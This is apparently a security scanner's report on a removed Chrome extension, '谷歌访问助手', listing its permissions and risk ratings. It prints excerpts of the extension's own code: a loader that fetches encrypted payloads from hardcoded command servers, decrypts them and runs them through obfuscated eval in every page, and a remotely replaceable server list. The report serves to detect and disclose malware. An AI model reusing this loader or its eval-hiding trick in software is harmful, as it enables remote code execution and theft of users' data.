谷歌访问助手

ID: fjbknnledpckpbjcglogolokonffggpc

Could be malicious

Supported Languages

🇨🇳Chinese (Simplified)
🇹🇼Chinese (Traditional)
🇺🇸English

Extension Info & Metadata

Status
Removed
Version
2.3.0
Size
0.21 MB
Rating
3.5/5
Reviews
81
Users
100,000
Type
Extension
Updated
Mar 17, 2022
Category
7_productivity
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
http://iggzs.comView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
100,000

谷歌访问助手让你在任何地区都能畅快访问谷歌的各种服务,如谷歌搜索、翻译、Gmail邮箱...是你的必备扩展之一

《谷歌访问助手》一键安装,开箱即用,畅享谷歌服务! 使用本扩展即可无阻访问大部分谷歌服务: — 谷歌搜索 — Gmail邮箱 — 谷歌翻译 — 谷歌学术 — Chrome应用商店 Chrome浏览器(谷歌浏览器)需要连接谷歌服务器实现账户登录,同步、更新浏览器的设置、用户信息和扩展,安装本扩展以后在国内即可正常使用这些联网功能。 提示:使用本扩展需要简单激活,用户要手动设置导航为首页,才能激活使用。

Item
Type
Severity
Description
proxy
Permission
Critical
This permission allows the extension to control the browser's proxy settings. Rated Critical because it can route all traffic through potentially malicious proxies, enabling man-in-the-middle attacks and traffic monitoring.
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
webRequestBlocking
Permission
Critical
This permission allows the extension to intercept, modify, or block any web request in real-time before it reaches its destination. Rated Critical because it can modify sensitive data (like passwords, credit cards) before encryption, redirect traffic to malicious sites, or block security updates.
<all_urls>
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
Dangerous Permission Combination: proxy,webRequestBlocking,webRequest
Risk Factor
Critical
Complete control over network traffic and routing
Dangerous Permission Combination
Risk Factor
Critical
This extension can intercept, modify, and block web requests in real-time.
webNavigation
Permission
High
This permission enables monitoring of all browser navigation events and transitions. Rated High because it can track every page visit, navigation method, and browsing pattern, potentially exposing sensitive browsing behavior and user activities.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 15% increase: Older manifest version lacks modern security controls
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2
notifications
Permission
Low
This permission displays system notifications. Rated Low because it can only show user-visible notifications without accessing system data.
http://*/*
Permission
Unknown
No classification available for this permission.
https://*/*
Permission
Unknown
No classification available for this permission.
ftp://*/*
Permission
Unknown
No classification available for this permission.

After 24 hours post-install, reads previously downloaded and decrypted JavaScript payloads from persistent filesystem ('rml' and 'cml') and executes the 'rml' payload via obfuscated eval (window["eval"]) in the background script context, giving the remote payload full access to all Chrome extension APIs including proxy, tabs, and webRequest. The obfuscation of 'eval' is deliberate evasion of static analysis.

bg.js (Line 2618)
localStorage.Installed && Date.now() - parseInt(localStorage.Installed) > 864e5 && parseInt(localStorage  .mversion) > 0 && (n.IO.R("rml", function(t) {  window[14..toString(16) + "v" + 241..toString(22)](t)}, function() {  console.error("read data error")}), n.IO.R("cml", function(t) {  f = t}, function() {  console.error("read data error")}))

The content script requests the 'cml' payload from the background script via 'init-page' message, then executes it via obfuscated eval (window["eval"]) directly in the page context of every web page matching http://*/* and https://*/*. This allows the attacker-controlled JavaScript to interact with the DOM, intercept credentials, and exfiltrate data from any site the user visits. The same eval obfuscation technique as in bg.js confirms intentional evasion.

straightGoogle.js (Line 32)
chrome.runtime.sendMessage({  reqtype: "init-page"}, function(t) {  t && t.data.length > 0 && e[14..toString(16) + "v" + 241..toString(22)](t.data)})

Downloads an XXTEA-encrypted JavaScript payload from a URL specified by a remote configuration server (e.rml), decrypts it with hardcoded key '0123456789abcdef', and persists it to the extension's unlimited filesystem storage under 'rml'/'cml' keys. The remote server (loaded from base64-encoded URLs at o4175vz27.qnssl.com and yingu.coding.me) controls both the payload URL and its version number, giving attackers the ability to silently update the injected code at any time.

bg.js (Line 2598)
var l = function(t) {  var e = JSON.parse(atob(t));  e.vn > 0 && parseInt(localStorage.mversion) != e.vn ? $.ajax({    type: "get",    url: e.rml + "?t=" + Date.now(),    success: function(t) {      var o = r.D(t, "0123456789abcdef")        .split("/*AABBCCDDEE*/");      2 == o.length ? n.IO.W("rml", o[0], function() {        n.IO.W("cml", o[0], function() {          console.log("update!"), localStorage.mversion = e.vn        })      }) : console.error("internal error")    },    error: function(t) {      console.error("mversion request fail")    }  }) : localStorage.mversion = e.vn}

The extension's command-and-control server list starts with two hardcoded URLs and can be overwritten by whatever the remote server returns in its 'static' field (also base64-encoded). This means the attacker can redirect the extension to any new C2 infrastructure on the fly, making takedown of the initial servers ineffective.

bg.js (Line 2562)
var i = ["https://o4175vz27.qnssl.com/d.json", "https://yingu.coding.me/test/d.json"];if (localStorage.static) {  i = [];  for (var a = JSON.parse(localStorage.static), u = 0; u < a.length; u++) i.push(atob(a[u]))}

Obfuscated eval in the background context: 14.toString(16)='e', 241.toString(22)='al', so this is window["eval"](t). The deliberate obfuscation of a standard built-in call has no legitimate purpose and is a clear attempt to evade automated static analysis tools that scan for 'eval'.

bg.js (Line 2620)
window[14..toString(16) + "v" + 241..toString(22)](t)

By severity

Critical3
High2
Medium0
Low0

Versions scanned

Showing 1 of 7 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.3.05

Files with findings

2 distinct paths — top paths by unique finding count:

  • bg.js4
  • straightGoogle.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
straightGoogle.js (line 32)The content script requests the 'cml' payload from the background script via 'init-page' message, then executes it via obfuscated eval (window["eval"]) directly in the page context of every web page matching http://*/…
2Remote Code Loading
critical
bg.js (line 2618)After 24 hours post-install, reads previously downloaded and decrypted JavaScript payloads from persistent filesystem ('rml' and 'cml') and executes the 'rml' payload via obfuscated eval (window["eval"]) in the backgr…
3Remote Code Loading
critical
bg.js (line 2598)Downloads an XXTEA-encrypted JavaScript payload from a URL specified by a remote configuration server (e.rml), decrypts it with hardcoded key '0123456789abcdef', and persists it to the extension's unlimited filesystem…
4Network Interception
high
bg.js (line 2562)The extension's command-and-control server list starts with two hardcoded URLs and can be overwritten by whatever the remote server returns in its 'static' field (also base64-encoded). This means the attacker can redi…
5Obfuscation
high
bg.js (line 2620)Obfuscated eval in the background context: 14.toString(16)='e', 241.toString(22)='al', so this is window["eval"](t). The deliberate obfuscation of a standard built-in call has no legitimate purpose and is a clear atte…
URLs
35
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.ggfwzs.com-http://www.ggfwzs.com
iewb.net/switchy.bakhttp://iewb.net/switchy.bak
*/*http://*/*
*/*https://*/*
o4175vz27.qnssl.com/d.jsonhttps://o4175vz27.qnssl.com/d.json
yingu.coding.me/test/d.jsonhttps://yingu.coding.me/test/d.json
ssl.google-analytics.com/ga.jshttps://ssl.google-analytics.com/ga.js
www.google.com.hk-https://www.google.com.hk
chrome.google.com/webstore/category/appshttps://chrome.google.com/webstore/category/apps?authuser=1
mail.google.com-https://mail.google.com
Showing 1 to 10 of 40 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 7 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.